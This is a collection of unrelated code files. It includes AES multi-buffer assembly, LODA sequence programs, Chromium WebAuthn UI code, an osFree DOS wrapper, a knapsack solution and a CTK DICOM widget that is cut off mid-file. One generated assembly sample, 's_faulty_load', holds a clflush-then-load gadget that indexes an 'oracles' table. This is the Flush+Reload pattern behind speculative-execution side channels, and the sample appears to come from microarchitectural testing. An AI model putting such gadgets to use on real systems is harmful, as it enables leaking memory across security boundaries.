good_lane*8] mov tmp2, [state + _aes_args_out + good_lane*8] mov tmp3, [state + _aes_args_keys + good_lane*8] shl good_lane, 4 ; multiply by 16 movdqa xmm2, [state + _aes_args_IV + good_lane] movdqa xmm0, [state + _aes_lens] %assign I 0 %rep NUM_LANES cmp qword [state + _aes_job_in_lane + I*8], 0 jne APPEND(skip_,I) mov [state + _aes_args_in + I*8], tmp1 mov [state + _aes_args_out + I*8], tmp2 mov [state + _aes_args_keys + I*8], tmp3 movdqa [state + _aes_args_IV + I*16], xmm2 por xmm0, [rel len_masks + 16*I] APPEND(skip_,I): %assign I (I+1) %endrep ; Find min length phminposuw xmm1, xmm0 pextrw len2, xmm1, 0 ; min value pextrw idx, xmm1, 1 ; min index (0...3) or len2, len2 jz len_is_0 %if NUM_LANES > 4 pshufb xmm1, [rel dupw] ; duplicate words across all lanes %else pshuflw xmm1, xmm1, 0 %endif psubw xmm0, xmm1 movdqa [state + _aes_lens], xmm0 ; "state" and "args" are the same address, arg1 ; len is arg2 call AES_CBC_ENC_X4 ; state and idx are intact len_is_0: ; process completed job "idx" mov job_rax, [state + _aes_job_in_lane + idx*8] mov unused_lanes, [state + _aes_unused_lanes] mov qword [state + _aes_job_in_lane + idx*8], 0 or dword [job_rax + _status], IMB_STATUS_COMPLETED_CIPHER shl unused_lanes, 4 or unused_lanes, idx mov [state + _aes_unused_lanes], unused_lanes %ifdef SAFE_DATA ;; Clear IVs of returned job and "NULL lanes" pxor xmm0, xmm0 %assign I 0 %rep NUM_LANES cmp qword [state + _aes_job_in_lane + I*8], 0 jne APPEND(skip_clear_,I) movdqa [state + _aes_args_IV + I*16], xmm0 APPEND(skip_clear_,I): %assign I (I+1) %endrep %endif return: endbranch64 mov rbx, [rsp + _gpr_save + 8*0] mov rbp, [rsp + _gpr_save + 8*1] mov r12, [rsp + _gpr_save + 8*2] mov r13, [rsp + _gpr_save + 8*3] mov r14, [rsp + _gpr_save + 8*4] mov r15, [rsp + _gpr_save + 8*5] %ifndef LINUX mov rsi, [rsp + _gpr_save + 8*6] mov rdi, [rsp + _gpr_save + 8*7] %endif mov rsp, [rsp + _rsp_save] ; original SP ret return_null: xor job_rax, job_rax jmp return mksection stack-noexec
SECTION code_fp_mbf32 PUBLIC l_f32_div EXTERN ___mbf32_setup_arith EXTERN ___mbf32_DVBCDE EXTERN ___mbf32_return EXTERN msbios l_f32_div: call ___mbf32_setup_arith IF __CPU_INTEL__ call ___mbf32_DVBCDE ELSE ld ix,___mbf32_DVBCDE call msbios ENDIF jp ___mbf32_return
; A334091: a(1) = 0, then after the first differences of A329697. ; Submitted by Christian Krause ; 0,0,1,-1,1,0,1,-2,2,-1,1,-1,1,0,0,-2,1,1,1,-2,2,-1,1,-2,1,0,1,-1,1,-1,1,-3,3,-2,2,-1,1,0,0,-2,1,1,1,-2,1,0,1,-3,3,-2,0,0,1,0,0,-1,2,-1,1,-2,1,0,1,-4,3,0,1,-3,3,-1,1,-2,1,0,0,0,1,-1,1,-3,3,-2,1,0,-1,2,0,-2,1,0,1,-1,1,0,0,-3,1,2,0,-2 mov $3,$0 mov $5,2 lpb $5 sub $5,1 add $0,$5 sub $0,1 mov $2,$5 mov $4,$0 max $4,0 seq $4,329697 ; a(n) is the number of iterations needed to reach a power of 2 starting at n and using the map k -> k-(k/p), where p is the largest prime factor of k. mul $2,$4 add $1,$2 lpe min $3,1 mul $3,$4 sub $1,$3 mov $0,$1
; A122657: a(n) = if n mod 2 = 1 then (n^2-1)*n^3/4 else n^5/4. ; 0,0,8,54,256,750,1944,4116,8192,14580,25000,39930,62208,92274,134456,189000,262144,353736,472392,617310,800000,1018710,1288408,1606044,1990656,2437500,2970344,3582306,4302592,5121690,6075000,7149840,8388608,9774864,11358856 mov $1,$0 pow $0,2 mul $1,$0 div $0,4 mul $1,$0
// Copyright 2018 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "chrome/browser/ui/webauthn/other_transports_menu_model.h" #include "base/numerics/safe_conversions.h" #include "chrome/browser/ui/webauthn/transport_utils.h" #include "chrome/grit/generated_resources.h" #include "ui/base/l10n/l10n_util.h" #include "ui/base/models/image_model.h" #include "ui/gfx/color_palette.h" #include "ui/gfx/paint_vector_icon.h" namespace { gfx::ImageSkia GetTransportIcon(AuthenticatorTransport transport) { constexpr int kTransportIconSize = 16; // TODO (kylixrd): Review the use of the hard-coded color for possible change // to using a ColorProvider color id. return gfx::CreateVectorIcon(*GetTransportVectorIcon(transport), kTransportIconSize, gfx::kGoogleGrey700); } } // namespace OtherTransportsMenuModel::OtherTransportsMenuModel( AuthenticatorRequestDialogModel* dialog_model, AuthenticatorTransport current_transport) : ui::SimpleMenuModel(this), dialog_model_(dialog_model) { DCHECK(dialog_model); dialog_model_->AddObserver(this); #if defined(OS_WIN) // During the caBLE dialog, if the native Windows authenticator is available, // show a single pseudo transport value for switching to the native Windows // option. if (dialog_model_->transport_availability() ->has_win_native_api_authenticator) { DCHECK(current_transport == AuthenticatorTransport::kCloudAssistedBluetoothLowEnergy); AppendItemForNativeWinApi(); return; } #endif // defined(OS_WIN) PopulateWithTransportsExceptFor(current_transport); } OtherTransportsMenuModel::~OtherTransportsMenuModel() { if (dialog_model_) { dialog_model_->RemoveObserver(this); dialog_model_ = nullptr; } } void OtherTransportsMenuModel::PopulateWithTransportsExceptFor( AuthenticatorTransport current_transport) { for (const auto transport : dialog_model_->transport_availability()->available_transports) { if (transport == current_transport || // kAndroidAccessory is never shown as an option to the user. It's a // fallback for caBLE. transport == AuthenticatorTransport::kAndroidAccessory) { continue; } auto name = GetTransportHumanReadableName( transport, TransportSelectionContext::kOtherTransportsMenu); AddItemWithIcon(base::strict_cast<int>(transport), std::move(name), ui::ImageModel::FromImageSkia(GetTransportIcon(transport))); } } #if defined(OS_WIN) // Magic command ID for calling AbandonFlowAndDispatchToNativeWindowsApi(). // This must not be a defined AuthenticatorTransport value. constexpr int kWinNativeApiMenuCommand = 999; void OtherTransportsMenuModel::AppendItemForNativeWinApi() { AddItemWithIcon(kWinNativeApiMenuCommand, l10n_util::GetStringUTF16( IDS_WEBAUTHN_TRANSPORT_POPUP_DIFFERENT_AUTHENTICATOR_WIN), ui::ImageModel::FromImageSkia(GetTransportIcon( AuthenticatorTransport::kUsbHumanInterfaceDevice))); } #endif // defined(OS_WIN) bool OtherTransportsMenuModel::IsCommandIdChecked(int command_id) const { return false; } bool OtherTransportsMenuModel::IsCommandIdEnabled(int command_id) const { return true; } void OtherTransportsMenuModel::ExecuteCommand(int command_id, int event_flags) { DCHECK(dialog_model_); #if defined(OS_WIN) if (command_id == kWinNativeApiMenuCommand) { DCHECK(dialog_model_->transport_availability() ->has_win_native_api_authenticator); dialog_model_->HideDialogAndDispatchToNativeWindowsApi(); return; } #endif // defined(OS_WIN) AuthenticatorTransport selected_transport = static_cast<AuthenticatorTransport>(command_id); dialog_model_->StartGuidedFlowForTransport(selected_transport); } void OtherTransportsMenuModel::OnModelDestroyed( AuthenticatorRequestDialogModel* model) { DCHECK(model == dialog_model_); dialog_model_ = nullptr; }
;/*! ; @file ; ; @brief BvsWrtNAttr DOS wrapper ; ; (c) osFree Project 2021, <http://www.osFree.org> ; for licence see licence.txt in root directory, or project website ; ; This is Family API implementation for DOS, used with BIND tools ; to link required API ; ; @author Yuri Prokushev (yuri.prokushev@gmail.com) ; ; * 0 NO_ERROR ; * 355 ERROR_VIO_MODE ; * 358 ERROR_VIO_ROW ; * 359 ERROR_VIO_COL ; * 436 ERROR_VIO_INVALID_HANDLE ; * 465 ERROR_VIO_DETACHED ;*/ .8086 ; Helpers INCLUDE helpers.inc INCLUDE dos.inc INCLUDE bseerr.inc _TEXT SEGMENT BYTE PUBLIC 'CODE' USE16 @BVSPROLOG BVSWRTNATTR VIOHANDLE DW ? ;Video handle COLUMN DW ? ;Starting column position for output ROW DW ? ;Starting row position for output CTIMES DW ? ;Repeat count ATTR DD ? ;Character to be written @BVSSTART BVSWRTNATTR MOV CX,0040H push CX pop ES mov AX,[BP+0Ah] mov CL,ES:[04Ah] shl CL,1 mul CL mov DI,[BP+8] add DI,DI add DI,AX mov AX,08000h cmp word ptr ES:[063h],03B4h jne @F xor AX,AX @@: add AX,ES:[04Eh] ;add video page offset add DI,AX mov cx, 0b800h push cx pop ES lds SI,[BP+0Eh] mov AL,[SI] ;get attribute to write mov CX,[BP+0Ch] jcxz done @@: inc DI stosb loop @B done: @BVSEPILOG BVSWRTNATTR _TEXT ENDS END
/* * HDU-2126 * Hint: 01-knapsack, recording * */ #include<stdio.h> #include<memory.h> #include<algorithm> #include<math.h> using namespace std; const int maxm = 500+5; int dp[maxm][2], n, m, price[maxm]; int main(){ int kase; scanf("%d", &kase); while(kase--){ scanf("%d %d", &n, &m); for(int i=0; i<n; i++) scanf("%d", &price[i]); memset(dp, 0, sizeof(dp)); for(int i=0; i<=m; i++) dp[i][1] = 1; for(int i=0; i<n; i++) for(int j=m; j>=price[i]; j--){ if(dp[j][0] < dp[j-price[i]][0] + 1){ dp[j][0] = dp[j-price[i]][0] + 1; dp[j][1] = dp[j-price[i]][1]; }else if(dp[j][0] == dp[j-price[i]][0] +1) dp[j][1] += dp[j-price[i]][1]; } if(dp[m][0]) printf("You have %d selection(s) to buy with %d kind(s) of souvenirs.\n", dp[m][1], dp[m][0]); else printf("Sorry, you can't buy anything.\n"); } return 0; }
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r15 push %r8 push %r9 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x16da3, %rbx and %r9, %r9 mov (%rbx), %r8 nop lfence lea addresses_D_ht+0x150cd, %r12 nop nop add %r8, %r8 mov (%r12), %ebp nop nop nop nop nop inc %rbp lea addresses_A_ht+0x12b4d, %rsi lea addresses_WC_ht+0x12bb5, %rdi nop add %rbx, %rbx mov $127, %rcx rep movsq nop nop lfence lea addresses_WC_ht+0x794d, %rsi lea addresses_normal_ht+0x1bd75, %rdi dec %r8 mov $37, %rcx rep movsq nop nop nop dec %r12 lea addresses_UC_ht+0x154d, %rbx nop nop nop nop nop add %rdi, %rdi mov $0x6162636465666768, %rbp movq %rbp, (%rbx) nop nop nop dec %rbp lea addresses_A_ht+0xe94d, %rcx nop nop nop nop sub $33890, %rsi vmovups (%rcx), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $0, %xmm5, %r8 nop add $14739, %rsi lea addresses_UC_ht+0x16a8d, %r12 nop nop nop nop xor %rdi, %rdi vmovups (%r12), %ymm0 vextracti128 $0, %ymm0, %xmm0 vpextrq $0, %xmm0, %rbp nop nop nop nop add $9802, %rsi lea addresses_WT_ht+0x1efd1, %r8 nop nop nop nop sub $36805, %r15 mov (%r8), %ecx nop nop nop nop nop dec %r8 pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r9 pop %r8 pop %r15 pop %r12 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r8 push %r9 push %rbp push %rbx // Store lea addresses_US+0x12d3, %rbx nop nop nop nop nop add %r12, %r12 movl $0x51525354, (%rbx) nop nop nop nop add $49156, %rbx // Store lea addresses_WC+0x14f1d, %rbp nop nop nop nop nop add %r8, %r8 movl $0x51525354, (%rbp) nop xor $61953, %r9 // Store mov $0xbc7, %rbp sub %r13, %r13 movb $0x51, (%rbp) nop add $9037, %r12 // Store lea addresses_US+0x13e0d, %r9 nop nop nop add %r8, %r8 movl $0x51525354, (%r9) nop nop and %r11, %r11 // Store lea addresses_PSE+0x102b5, %r12 nop nop xor $55877, %rbx movb $0x51, (%r12) nop nop nop nop add %r9, %r9 // Store lea addresses_US+0x19dcd, %r11 nop inc %r8 mov $0x5152535455565758, %r13 movq %r13, %xmm2 movups %xmm2, (%r11) nop nop nop nop cmp %r11, %r11 // Faulty Load lea addresses_normal+0x17b4d, %r9 clflush (%r9) dec %r8 mov (%r9), %bp lea oracles, %r13 and $0xff, %rbp shlq $12, %rbp mov (%r13,%rbp,1), %rbp pop %rbx pop %rbp pop %r9 pop %r8 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': True, 'congruent': 1, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 3, 'size': 1, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 6, 'size': 16, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_normal', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': True}} {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': True, 'NT': False}} {'34': 21829} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
/*========================================================================= Library: CTK Copyright (c) Kitware Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0.txt Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. =========================================================================*/ // ctkDICOMWidget includes #include "ctkDICOMTableView.h" #include "ui_ctkDICOMTableView.h" // Qt includes #include <QJsonObject> #include <QMouseEvent> #include <QSortFilterProxyModel> #include <QSqlQueryModel> //------------------------------------------------------------------------------ class ctkDICOMTableViewPrivate : public Ui_ctkDICOMTableView { Q_DECLARE_PUBLIC (ctkDICOMTableView) protected: ctkDICOMTableView* const q_ptr; public: ctkDICOMTableViewPrivate(ctkDICOMTableView& obj); ctkDICOMTableViewPrivate(ctkDICOMTableView& obj, ctkDICOMDatabase* db); ~ctkDICOMTableViewPrivate(); /// Initialize UI and tableview with tablemodel void init(); void showFilterActiveWarning(bool); void applyColumnProperties(); ctkDICOMDatabase* dicomDatabase; QSqlQueryModel dicomSQLModel; QSortFilterProxyModel* dicomSQLFilterModel; QString queryTableName; QString queryForeignKey; QStringList currentSelection; bool batchUpdate; /// Set to true if database modification is notified while in batch update mode bool batchUpdateModificationPending; bool batchUpdateInstanceAddedPending; /// Key = QString for columns, Values = QStringList QHash<QString, QStringList> sqlWhereConditions; }; //------------------------------------------------------------------------------ ctkDICOMTableViewPrivate::ctkDICOMTableViewPrivate(ctkDICOMTableView &obj) : q_ptr(&obj) { this->dicomSQLFilterModel = new QSortFilterProxyModel(&obj); this->dicomDatabase = new ctkDICOMDatabase(&obj); this->batchUpdate = false; this->batchUpdateModificationPending = false; this->batchUpdateInstanceAddedPending = false; } //------------------------------------------------------------------------------ ctkDICOMTableViewPrivate::ctkDICOMTableViewPrivate(ctkDICOMTableView &obj, ctkDICOMDatabase* db) : q_ptr(&obj) , dicomDatabase(db) { this->dicomSQLFilterModel = new QSortFilterProxyModel(&obj); } //------------------------------------------------------------------------------ ctkDICOMTableViewPrivate::~ctkDICOMTableViewPrivate() { } //------------------------------------------------------------------------------ void ctkDICOMTableViewPrivate::init() { Q_Q(ctkDICOMTableView); this->setupUi(q); this->leSearchBox->setAlwaysShowClearIcon(true); this->leSearchBox->setShowSearchIcon(true); this->tblDicomDatabaseView->viewport()->installEventFilter(q); this->dicomSQLFilterModel->setSourceModel(&this->dicomSQLModel); this->dicomSQLFilterModel->setFilterKeyColumn(-1); this->dicomSQLFilterModel->setFilterCaseSensitivity(Qt::CaseInsensitive); this->tblDicomDatabaseView->setModel(this->dicomSQLFilterModel); this->tblDicomDatabaseView->setSortingEnabled(true); #if QT_VERSION < QT_VERSION_CHECK(5,0,0) this->tblDicomDatabaseView->horizontalHeader()->setResizeMode(QHeaderView::Interactive); this->tblDicomDatabaseView->verticalHeader()->setResizeMode(QHeaderView::ResizeToContents); #else this->tblDicomDatabaseView->horizontalHeader()->setSectionResizeMode(QHeaderView::Interactive); this->tblDicomDatabaseView->verticalHeader()->setSectionResizeMode(QHeaderView::ResizeToContents); #endif this->tblDicomDatabaseView->horizontalHeader()->setDefaultAlignment(Qt::AlignLeft); QObject::connect(this->tblDicomDatabaseView->selectionModel(), SIGNAL(selectionChanged(const QItemSelection&,const QItemSelection&)), q, SLOT(onSelectionChanged())); QObject::connect(this->tblDicomDatabaseView->selectionModel(), SIGNAL(selectionChanged(const QItemSelection&,const QItemSelection&)), q, SIGNAL(selectionChanged(const QItemSelection&,const QItemSelection&))); QObject::connect(this->tblDicomDatabaseView, SIGNAL(doubleClicked(const QModelIndex&)), q, SIGNAL(doubleClicked(const QModelIndex&))); // enable right click menu, with mapping to global position (for use within the DICOM table manager) this->tblDicomDatabaseView->setContextMenuPolicy(Qt::CustomContextMenu); QObject::connect(this->tblDicomDatabaseView, SIGNAL(customContextMenuRequested(const QPoint&)), q, SLOT(onCustomContextMenuRequested(const QPoint&))); QObject::connect(this->leSearchBox, SIGNAL(textChanged(QString)), q, SLOT(onFilterChanged(QString))); } //---------------------------------------------------------------------------- void ctkDICOMTableViewPrivate::showFilterActiveWarning(bool showWarning) { QPalette palette; if (showWarning) { palette.setColor(QPalette::Base,Qt::yellow); palette.setColor(QPalette::Text, Qt::black); } this->leSearchBox->setPalette(palette); } //---------------------------------------------------------------------------- void ctkDICOMTableViewPrivate::applyColumnProperties() { if (!this->dicomDatabase || !this->dicomDatabase->isOpen() || !this->dicomDatabase->isDisplayedFieldsTableAvailable()) { return; } bool stretchedColumnFound = false; int defaultSortByColumn = -1; Qt::SortOrder defaultSortOrder = Qt::AscendingOrder; QHeaderView* header = this->tblDicomDatabaseView->horizontalHeader(); int columnCount = this->dicomSQLModel.columnCount(); QList<int> columnWeights; QMap<int,int> visualIndexToColumnIndexMap; for (int col=0; col<columnCount; ++col) { QString columnName = this->dicomSQLModel.headerData(col, Qt::Horizontal).toString(); QString originalColumnName = this->dicomSQLModel.headerData(col, Qt::Horizontal, Qt::WhatsThisRole).toString(); if (originalColumnName.isEmpty()) { // Save original column name for future referencing the database fields this->dicomSQLModel.setHeaderData(col, Qt::Horizontal, columnName, Qt::WhatsThisRole); } else { columnName = originalColumnName; visualIndexToColumnIndexMap[header->visualIndex(col)] = col; } // Apply displayed name QString displayedName = this->dicomDatabase->displayedNameForField(this->queryTableName, columnName); this->dicomSQLModel.setHeaderData(col, Qt::Horizontal, displayedName, Qt::DisplayRole); // Apply visibility bool visibility = this->dicomDatabase->visibilityForField(this->queryTableName, columnName); this->tblDicomDatabaseView->setColumnHidden(col, !visibility); // Save weight to apply later int weight = this->dicomDatabase->weightForField(this->queryTableName, columnName); columnWeights << weight; QString fieldFormat = this->dicomDatabase->formatForField(this->queryTableName, columnName); QHeaderView::ResizeMode columnResizeMode = QHeaderView::Interactive; if (!fieldFormat.isEmpty()) { QJsonDocument fieldFormatDoc = QJsonDocument::fromJson(fieldFormat.toUtf8()); QJsonObject fieldFormatObj; if (!fieldFormatDoc.isNull()) { if (fieldFormatDoc.isObject()) { fieldFormatObj = fieldFormatDoc.object(); } } if (!fieldFormatObj.isEmpty()) { // format string successfully decoded from json // resize mode QString resizeModeStr = fieldFormatObj.value(QString("resizeMode")).toString("interactive"); if (resizeModeStr == "interactive") { columnResizeMode = QHeaderView::Interactive; } else if (resizeModeStr == "stretch") { columnResizeMode = QHeaderView::Stretch; } else if (resizeModeStr == "resizeToContents") { columnResizeMode = QHeaderView::ResizeToContents; } else { qWarning() << "Invalid ColumnDisplayProperties Format string for column " << columnName << ": resizeMode must be interactive, stretch, or resizeToContents"; } // default sort order QString sortStr = fieldFormatObj.value(QString("sort")).toString(); if (!sortStr.isEmpty()) { defaultSortByColumn = col; if (sortStr == "ascending") { defaultSortOrder = Qt::AscendingOrder; } else if (sortStr == "descending") { defaultSortOrder = Qt::DescendingOrder; } else { qWarning() << "Invalid ColumnDisplayProperties Format string for column " << columnName << ": sort must be ascending or descending"; } } } else { // format string is specified but failed to be decoded from json qWarning() << "Invalid ColumnDisplayProperties Format string for column " << columnName << ": " << fieldFormat; } } this->tblDicomDatabaseView->horizontalHeader()->setSectionResizeMode(col, columnResizeMode); if (columnResizeMode == QHeaderView::Stretch && visibility) { stretchedColumnFound = true; } } // If no stretched column is shown then stretch the last column to make the table look nicely aligned this->tblDicomDatabaseView->horizontalHeader()->setStretchLastSection(!stretchedColumnFound); if (defaultSortByColumn >= 0) { this->tblDicomDatabaseView->sortByColumn(defaultSortByColumn, defaultSortOrder); } // First restore original order of the columns so that it can be sorted by weights (use bubble sort). // This extra complexity is needed because the only mechanism for column order is by moving or swapping bool wasBlocked = header->blockSignals(true); if (!visualIndexToColumnIndexMap.isEmpty()) { QList<int> columnIndicesByVisualIndex = visualIndexToColumnIndexMap.values(); int columnIndicesCount = columnIndicesByVisualIndex.size(); for (int i=0; i<columnIndicesCount-1; ++i) { // Last i elements are already in place for (int j=0; j<columnIndicesCount -i-1; ++j) { if (columnIndicesByVisualIndex[j] > columnIndicesByVisualIndex[j+1]) { columnIndicesByVisualIndex.swap(j, j+1); header->swapSections(j, j+1); } } } } // Change column order according to weights (use bubble sort) for (int i=0; i<columnCount-1; ++i) { // Last i elements are already in place for (int j=0; j<columnCount-i-1; ++j) { if (columnWeights[j] > columnWeights[j+1]) { columnWeights.swap(j, j+1); header->swapSections(j, j+1); } } } header->blockSignals(wasBlocked); header->updateGeometry(); } //---------------------------------------------------------------------------- // ctkDICOMTableView methods //---------------------------------------------------------------------------- ctkDICOMTableView::ctkDICOMTableView(QWidget *parent) : Superclass(parent) , d_ptr(new ctkDICOMTableViewPrivate(*this)) { Q_D(ctkDICOMTableView); d->init(); } //---------------------------------------------------------------------------- ctkDICOMTableView::ctkDICOMTableView(QString queryTableName, QWidget *parent) : Superclass(parent) , d_ptr(new ctkDICOMTableViewPrivate(*this)) { Q_D(ctkDICOMTableView); d->init(); this->setQueryTableName(queryTableName); } //------------------------------------------------------------------------------ ctkDICOMTableView::ctkDICOMTableView (ctkDICOMDatabase* dicomDataBase, QString queryTableName, QWidget* parent) : Superclass(parent) , d_ptr(new ctkDICOMTableViewPrivate(*this)) { this->setDicomDataBase(dicomDataBase); Q_D(ctkDICOMTableView); d->init(); this->setQueryTableName(queryTableName); } //------------------------------------------------------------------------------ ctkDICOMTableView::~ctkDICOMTableView() { } //------------------------------------------------------------------------------ void ctkDICOMTableView::setDicomDataBase(ctkDICOMDatabase *dicomDatabase) { Q_D(ctkDICOMTableView); if (d->dicomDatabase == dicomDatabase) { // no change return; } if (d->dicomDatabase) { QObject::disconnect(d->dicomDatabase, SIGNAL(instanceAdded(const QString&)), this, SLOT(onInstanceAdded())); QObject::disconnect(d->dicomDatabase, SIGNAL(databaseChanged()), this, SLOT(onDatabaseChanged())); QObject::disconnect(d->dicomDatabase, SIGNAL(opened()), this, SLOT(onDatabaseOpened())); QObject::disconnect(d->dicomDatabase, SIGNAL(closed()), this, SLOT(onDatabaseClosed())); QObject::disconnect(d->dicomDatabase, SIGNAL(schemaUpdated()), this, SLOT(onDatabaseSchemaUpdated())); } d->dicomDatabase = dicomDatabase; if (d->dicomDatabase) { //Create connections for new database QObject::connect(d->dicomDatabase, SIGNAL(instanceAdded(const QString&)), this, SLOT(onInstanceAdded())); QObject::connect(d->dicomDatabase, SIGNAL(databaseChanged()), this, SLOT(onDatabaseChanged())); QObject::connect(d->dicomDatabase, SIGNAL(opened()), this, SLOT(onDatabaseOpened())); QObject::connect(d->dicomDatabase, SIGNAL(closed()), this, SLOT(onDatabaseClosed())); QObject::connect(d->dicomDatabase, SIGNAL(schemaUpdated()), this, SLOT(onDatabaseSchemaUpdated())); } this->setQuery(); d->applyColumnProperties(); this->setEnabled(d->dicomDatabase && d->dicomDatabase->isOpen()); } //------------------------------------------------------------------------------ void ctkDICOMTableView::setQueryTableName(const QString &tableName) { Q_D(ctkDICOMTableView); d->queryTableName = tableName; d->lblTableName->setText(d->queryTableName); } //------------------------------------------------------------------------------ QString ctkDICOMTableView::queryTableName() const { Q_D(const ctkDICOMTableView); return d->queryTableName; } //------------------------------------------------------------------------------ void ctkDICOMTableView::setQueryForeignKey(const QString &foreignKey) { 